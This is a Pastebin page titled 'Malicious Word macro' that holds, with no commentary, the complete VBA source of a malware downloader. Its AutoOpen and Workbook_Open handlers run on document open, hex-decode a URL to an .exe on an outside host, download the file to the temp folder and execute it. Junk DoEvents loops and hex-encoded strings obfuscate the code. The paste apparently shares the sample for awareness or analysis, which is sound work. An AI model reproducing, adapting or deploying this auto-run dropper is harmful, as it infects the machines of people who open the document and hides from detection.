SHARE
TWEET

Malicious Word macro

dynamoo Jan 15th, 2015 245 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Attribute VB_Name = "ThisDocument"
  2. Attribute VB_Base = "1Normal.ThisDocument"
  3. Attribute VB_GlobalNameSpace = False
  4. Attribute VB_Creatable = False
  5. Attribute VB_PredeclaredId = True
  6. Attribute VB_Exposed = True
  7. Attribute VB_TemplateDerived = True
  8. Attribute VB_Customizable = True
  9. #If VBA7 Then
  10.     Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias _
  11.     "URLDownloadToFileA" (ByVal dsfsdf As LongPtr, _
  12.     ByVal sdfsdfgds As String, _
  13.     ByVal yurtysdf As String, _
  14.     ByVal iufdsd As Long, _
  15.     ByVal vbxdfsdf As LongPtr) As LongPtr
  16. #Else
  17.     Private Declare Function URLDownloadToFile Lib "urlmon" Alias _
  18.     "URLDownloadToFileA" (ByVal dsfsdf As Long, _
  19.     ByVal sdfsdfgds As String, _
  20.     ByVal yurtysdf As String, _
  21.     ByVal iufdsd As Long, _
  22.     ByVal vbxdfsdf As Long) As Long
  23. #End If
  24.  
  25.  
  26. Sub uiwefds()
  27. Dim JzOjvKld As Integer
  28. For JzOjvKld = 0 To 1
  29. Dim pBBdhbMj As Integer
  30. For pBBdhbMj = 0 To 9
  31. Dim MQeaXHnQ As Integer
  32. For MQeaXHnQ = 0 To 7
  33. DoEvents
  34. Next MQeaXHnQ
  35. DoEvents
  36. Next pBBdhbMj
  37. Dim PLCvpaGo As Integer
  38. For PLCvpaGo = 0 To 5
  39. DoEvents
  40. Next PLCvpaGo
  41. DoEvents
  42. Next JzOjvKld
  43. Dim ByLPRPoF As Integer
  44. For ByLPRPoF = 0 To 8
  45. Dim KzYSAJew As Integer
  46. For KzYSAJew = 0 To 6
  47. DoEvents
  48. Next KzYSAJew
  49. DoEvents
  50. Next ByLPRPoF
  51. Dim UonpGakM As Integer
  52. For UonpGakM = 0 To 5
  53. DoEvents
  54. Next UonpGakM
  55. UGivgHgfdg
  56. End Sub
  57. Sub AutoOpen()
  58. Dim HipjVMDI As Integer
  59. For HipjVMDI = 0 To 6
  60. Dim FldilXKU As Integer
  61. For FldilXKU = 0 To 3
  62. Dim neEzgwIm As Integer
  63. For neEzgwIm = 0 To 7
  64. DoEvents
  65. Next neEzgwIm
  66. DoEvents
  67. Next FldilXKU
  68. Dim jpxnEYVL As Integer
  69. For jpxnEYVL = 0 To 5
  70. DoEvents
  71. Next jpxnEYVL
  72. DoEvents
  73. Next HipjVMDI
  74. Dim KNMUJHlQ As Integer
  75. For KNMUJHlQ = 0 To 3
  76. Dim IiYHosKX As Integer
  77. For IiYHosKX = 0 To 1
  78. DoEvents
  79. Next IiYHosKX
  80. DoEvents
  81. Next KNMUJHlQ
  82. Dim qMjVLPPI As Integer
  83. For qMjVLPPI = 0 To 6
  84. DoEvents
  85. Next qMjVLPPI
  86.     uiwefds
  87. End Sub
  88. Sub Workbook_Open()
  89. Dim zFxkURlO As Integer
  90. For zFxkURlO = 0 To 3
  91. Dim WUxmpDbh As Integer
  92. For WUxmpDbh = 0 To 7
  93. Dim NiIUHMrP As Integer
  94. For NiIUHMrP = 0 To 8
  95. DoEvents
  96. Next NiIUHMrP
  97. DoEvents
  98. Next WUxmpDbh
  99. Dim AVCbuhOj As Integer
  100. For AVCbuhOj = 0 To 4
  101. DoEvents
  102. Next AVCbuhOj
  103. DoEvents
  104. Next zFxkURlO
  105. Dim cliZMskz As Integer
  106. For cliZMskz = 0 To 3
  107. Dim TnVmmvfd As Integer
  108. For TnVmmvfd = 0 To 4
  109. DoEvents
  110. Next TnVmmvfd
  111. DoEvents
  112. Next cliZMskz
  113. Dim LJnsAqIf As Integer
  114. For LJnsAqIf = 0 To 7
  115. DoEvents
  116. Next LJnsAqIf
  117.     uiwefds
  118. End Sub
  119. Sub UGivgHgfdg()
  120. Dim aMXkuYDt As Integer
  121. For aMXkuYDt = 0 To 6
  122. Dim VhVjCVvI As Integer
  123. For VhVjCVvI = 0 To 4
  124. Dim ylrNCMWQ As Integer
  125. For ylrNCMWQ = 0 To 3
  126. DoEvents
  127. Next ylrNCMWQ
  128. DoEvents
  129. Next VhVjCVvI
  130. Dim lHpAOReT As Integer
  131. For lHpAOReT = 0 To 6
  132. DoEvents
  133. Next lHpAOReT
  134. DoEvents
  135. Next aMXkuYDt
  136. Dim DZwbJyAN As Integer
  137. For DZwbJyAN = 0 To 2
  138. Dim WEDuKupQ As Integer
  139. For WEDuKupQ = 0 To 1
  140. DoEvents
  141. Next WEDuKupQ
  142. DoEvents
  143. Next DZwbJyAN
  144. Dim pMhVBLRS As Integer
  145. For pMhVBLRS = 0 To 6
  146.  
  147. Next pMhVBLRS
  148. ghKJfg = gHBJdsg("6874")
  149. jnkdsf = gHBJdsg("74703A2F2F")
  150. hdsjkf = gHBJdsg("6472616D616B617A756B692E6B657361676972692E6E65742F6A732F62696E2E657865")
  151.     ewrwefdsf = ghKJfg + jnkdsf + hdsjkf
  152.  
  153. Dim IzqfqBCT As Integer
  154. For IzqfqBCT = 0 To 2
  155. Dim qJRLoONV As Integer
  156. For qJRLoONV = 0 To 7
  157. Dim tbUUVMUg As Integer
  158. For tbUUVMUg = 0 To 6
  159. DoEvents
  160. Next tbUUVMUg
  161. DoEvents
  162. Next qJRLoONV
  163. Dim tnRLuKkx As Integer
  164. For tnRLuKkx = 0 To 6
  165. DoEvents
  166. Next tnRLuKkx
  167. DoEvents
  168. Next IzqfqBCT
  169. Dim NrzarJeg As Integer
  170. For NrzarJeg = 0 To 5
  171. Dim yxXAyyyv As Integer
  172. For yxXAyyyv = 0 To 9
  173. DoEvents
  174. Next yxXAyyyv
  175. DoEvents
  176. Next NrzarJeg
  177. Dim JzPxPklW As Integer
  178. For JzPxPklW = 0 To 6
  179. DoEvents
  180. Next JzPxPklW
  181.     ewwfgfdg = Environ(gHBJdsg("54454D50")) & gHBJdsg("5C6473667364662E657865")
  182. Dim ETUbKtRJ As Integer
  183. For ETUbKtRJ = 0 To 4
  184. Dim IiOcPqqr As Integer
  185. For IiOcPqqr = 0 To 8
  186. Dim CwnoVirg As Integer
  187. For CwnoVirg = 0 To 4
  188. DoEvents
  189. Next CwnoVirg
  190. DoEvents
  191. Next IiOcPqqr
  192. Dim ONhNGOcj As Integer
  193. For ONhNGOcj = 0 To 2
  194. DoEvents
  195. Next ONhNGOcj
  196. DoEvents
  197. Next ETUbKtRJ
  198. Dim pBVhaYHP As Integer
  199. For pBVhaYHP = 0 To 4
  200. Dim wYauEKwW As Integer
  201. For wYauEKwW = 0 To 6
  202. DoEvents
  203. Next wYauEKwW
  204. DoEvents
  205. Next pBVhaYHP
  206. Dim LJYSRlqY As Integer
  207. For LJYSRlqY = 0 To 1
  208. DoEvents
  209. Next LJYSRlqY
  210.     wqewr = URLDownloadToFile(0&, ewrwefdsf, ewwfgfdg, 0&, 0&)
  211.    Dim gffUYUdfg
  212. Dim YgpqTtOy As Integer
  213. For YgpqTtOy = 0 To 2
  214. Dim QSZWppCH As Integer
  215. For QSZWppCH = 0 To 2
  216. Dim ZJYDvLqr As Integer
  217. For ZJYDvLqr = 0 To 9
  218. DoEvents
  219. Next ZJYDvLqr
  220. DoEvents
  221. Next QSZWppCH
  222. Dim NaskblaF As Integer
  223. For NaskblaF = 0 To 5
  224. DoEvents
  225. Next NaskblaF
  226. DoEvents
  227. Next YgpqTtOy
  228. Dim dEJDnTZw As Integer
  229. For dEJDnTZw = 0 To 7
  230. Dim sGQchASM As Integer
  231. For sGQchASM = 0 To 4
  232. DoEvents
  233. Next sGQchASM
  234. DoEvents
  235. Next dEJDnTZw
  236. Dim wRiSDhtL As Integer
  237. For wRiSDhtL = 0 To 6
  238. DoEvents
  239. Next wRiSDhtL
  240.     gffUYUdfg = Shell(ewwfgfdg, 1)
  241.  
  242. End Sub
  243. Public Function gHBJdsg(ByVal hextext As String) As String
  244.  
  245. Dim wWbztFwG As Integer
  246.  
  247. Dim GUPqhtPg As Integer
  248. GUPqhtPg = 5
  249. Do While GUPqhtPg < 48
  250. DoEvents: GUPqhtPg = GUPqhtPg + 1
  251. Loop
  252.  
  253. wWbztFwG = 2
  254. Do While wWbztFwG < 12
  255.  
  256. Dim uRXhQDWq As Integer
  257. uRXhQDWq = 8
  258. Do While uRXhQDWq < 78
  259. DoEvents: uRXhQDWq = uRXhQDWq + 1
  260. Loop
  261.  
  262. DoEvents: wWbztFwG = wWbztFwG + 1
  263.  
  264. Dim EVQinjcM As Integer
  265. EVQinjcM = 3
  266. Do While EVQinjcM < 84
  267. DoEvents: EVQinjcM = EVQinjcM + 1
  268. Loop
  269.  
  270. Loop
  271.  
  272.  
  273. Dim yPwhqFgT As Integer
  274. yPwhqFgT = 8
  275. Do While yPwhqFgT < 42
  276. DoEvents: yPwhqFgT = yPwhqFgT + 1
  277. Loop
  278.  
  279.    
  280. For y = 1 To Len(hextext)
  281.  
  282. Dim DKQuAxYQ As Integer
  283.  
  284. Dim ApQiblsP As Integer
  285. ApQiblsP = 3
  286. Do While ApQiblsP < 76
  287. DoEvents: ApQiblsP = ApQiblsP + 1
  288. Loop
  289.  
  290. DKQuAxYQ = 5
  291. Do While DKQuAxYQ < 41
  292.  
  293. Dim rXwhqJex As Integer
  294. rXwhqJex = 8
  295. Do While rXwhqJex < 34
  296. DoEvents: rXwhqJex = rXwhqJex + 1
  297. Loop
  298.  
  299. DoEvents: DKQuAxYQ = DKQuAxYQ + 1
  300.  
  301. Dim GPlvEueK As Integer
  302. GPlvEueK = 3
  303. Do While GPlvEueK < 49
  304. DoEvents: GPlvEueK = GPlvEueK + 1
  305. Loop
  306.  
  307. Loop
  308.  
  309.  
  310. Dim jxtTfTWR As Integer
  311. jxtTfTWR = 7
  312. Do While jxtTfTWR < 96
  313. DoEvents: jxtTfTWR = jxtTfTWR + 1
  314. Loop
  315.  
  316.     num = Mid(hextext, y, 2)
  317.  
  318. Dim qsnBhNom As Integer
  319.  
  320. Dim RVFXklSQ As Integer
  321. RVFXklSQ = 3
  322. Do While RVFXklSQ < 59
  323. DoEvents: RVFXklSQ = RVFXklSQ + 1
  324. Loop
  325.  
  326. qsnBhNom = 9
  327. Do While qsnBhNom < 46
  328.  
  329. Dim mtIlYZzo As Integer
  330. mtIlYZzo = 1
  331. Do While mtIlYZzo < 65
  332. DoEvents: mtIlYZzo = mtIlYZzo + 1
  333. Loop
  334.  
  335. DoEvents: qsnBhNom = qsnBhNom + 1
  336.  
  337. Dim DKDBypFV As Integer
  338. DKDBypFV = 5
  339. Do While DKDBypFV < 41
  340. DoEvents: DKDBypFV = DKDBypFV + 1
  341. Loop
  342.  
  343. Loop
  344.  
  345.  
  346. Dim EBUcmmrw As Integer
  347. EBUcmmrw = 3
  348. Do While EBUcmmrw < 22
  349. DoEvents: EBUcmmrw = EBUcmmrw + 1
  350. Loop
  351.  
  352.     Value = Value & Chr(CDbl("&h" & num))
  353.  
  354. Dim lqyAAJfk As Integer
  355.  
  356. Dim HnhDciWZ As Integer
  357. HnhDciWZ = 5
  358. Do While HnhDciWZ < 19
  359. DoEvents: HnhDciWZ = HnhDciWZ + 1
  360. Loop
  361.  
  362. lqyAAJfk = 1
  363. Do While lqyAAJfk < 94
  364.  
  365. Dim JwOgaoKJ As Integer
  366. JwOgaoKJ = 5
  367. Do While JwOgaoKJ < 18
  368. DoEvents: JwOgaoKJ = JwOgaoKJ + 1
  369. Loop
  370.  
  371. DoEvents: lqyAAJfk = lqyAAJfk + 1
  372.  
  373. Dim AqUclcKd As Integer
  374. AqUclcKd = 9
  375. Do While AqUclcKd < 24
  376. DoEvents: AqUclcKd = AqUclcKd + 1
  377. Loop
  378.  
  379. Loop
  380.  
  381.  
  382. Dim kkAWIUuP As Integer
  383. kkAWIUuP = 8
  384. Do While kkAWIUuP < 96
  385. DoEvents: kkAWIUuP = kkAWIUuP + 1
  386. Loop
  387.  
  388.     y = y + 1
  389. Next y
  390.  
  391.  
  392. Dim ljYAaKUD As Integer
  393.  
  394. Dim HEaLjCxl As Integer
  395. HEaLjCxl = 5
  396. Do While HEaLjCxl < 19
  397. DoEvents: HEaLjCxl = HEaLjCxl + 1
  398. Loop
  399.  
  400. ljYAaKUD = 1
  401. Do While ljYAaKUD < 67
  402.  
  403. Dim YPWkTuQH As Integer
  404. YPWkTuQH = 3
  405. Do While YPWkTuQH < 82
  406. DoEvents: YPWkTuQH = YPWkTuQH + 1
  407. Loop
  408.  
  409. DoEvents: ljYAaKUD = ljYAaKUD + 1
  410.  
  411. Dim fLpdInWj As Integer
  412. fLpdInWj = 9
  413. Do While fLpdInWj < 81
  414. DoEvents: fLpdInWj = fLpdInWj + 1
  415. Loop
  416.  
  417. Loop
  418.  
  419.  
  420. Dim kwdanxIn As Integer
  421. kwdanxIn = 1
  422. Do While kwdanxIn < 96
  423. DoEvents: kwdanxIn = kwdanxIn + 1
  424. Loop
  425.  
  426. gHBJdsg = Value
  427. End Function
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top